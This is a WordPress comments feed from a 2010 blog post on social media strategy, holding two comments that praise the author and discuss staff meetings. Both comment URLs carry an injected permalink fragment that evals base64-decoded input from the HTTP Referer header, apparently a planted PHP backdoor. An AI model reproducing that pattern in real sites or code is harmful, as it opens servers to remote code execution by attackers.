Comments on: Perfect Information: Social Media Strategy and Tactics http://barack20.com/index.php/2010/02/17/perfect-information-social-media-strategy-and-tactics/ Barack Obama's Social Media Lessons for Business Thu, 26 Jan 2012 05:48:53 +0000 hourly 1 http://wordpress.org/?v=3.2.1 By: John P. J. Zajaros, Sr, PhD http://barack20.com/index.php/2010/02/17/perfect-information-social-media-strategy-and-tactics/comment-page-1/#comment-1359 John P. J. Zajaros, Sr, PhD Wed, 02 Jun 2010 17:38:02 +0000 http://barack20.com/index.php/2010/02/03/perfect-information-social-media-strategy-and-tactics/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comment-1359 Brilliant! I just listed to your Perry Marshall interview and immediately ordered your book! I plan on getting through that and then adding your advanced coverage. What you have exposed and explained goes beyond being useful, it is essential for anyone who is sincerely interested in getting a handle on the true power of social media. Equally interesting were your comments about the offline world! Great stuff! John P. J. Zajaros, Sr. Brilliant! I just listed to your Perry Marshall interview and immediately ordered your book! I plan on getting through that and then adding your advanced coverage. What you have exposed and explained goes beyond being useful, it is essential for anyone who is sincerely interested in getting a handle on the true power of social media. Equally interesting were your comments about the offline world!

Great stuff!

John P. J. Zajaros, Sr.

]]> By: Shelly Caldwell http://barack20.com/index.php/2010/02/17/perfect-information-social-media-strategy-and-tactics/comment-page-1/#comment-1357 Shelly Caldwell Thu, 15 Apr 2010 22:39:17 +0000 http://barack20.com/index.php/2010/02/03/perfect-information-social-media-strategy-and-tactics/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comment-1357 "A call to action" is what I refer to it as, when my staff gathers for quarterly meetings. It's all about taking what we've learned the past months, researching it and taking action on it for reinvention or deletion. All processes aren't expedient, after a certain time things have to be assessed as useful and profitable. I require my staff to bring at least 3 websites of research on any operations issue or marketing idea, with their solution to how we should 'take action'. Keeps all positions on their toes and working beyond the scope of their duties, so they get a feel of 'ownership' roles and a sense of belonging. No one CEO can do it themselves! “A call to action” is what I refer to it as, when my staff gathers for quarterly meetings. It’s all about taking what we’ve learned the past months, researching it and taking action on it for reinvention or deletion. All processes aren’t expedient, after a certain time things have to be assessed as useful and profitable. I require my staff to bring at least 3 websites of research on any operations issue or marketing idea, with their solution to how we should ‘take action’. Keeps all positions on their toes and working beyond the scope of their duties, so they get a feel of ‘ownership’ roles and a sense of belonging. No one CEO can do it themselves!

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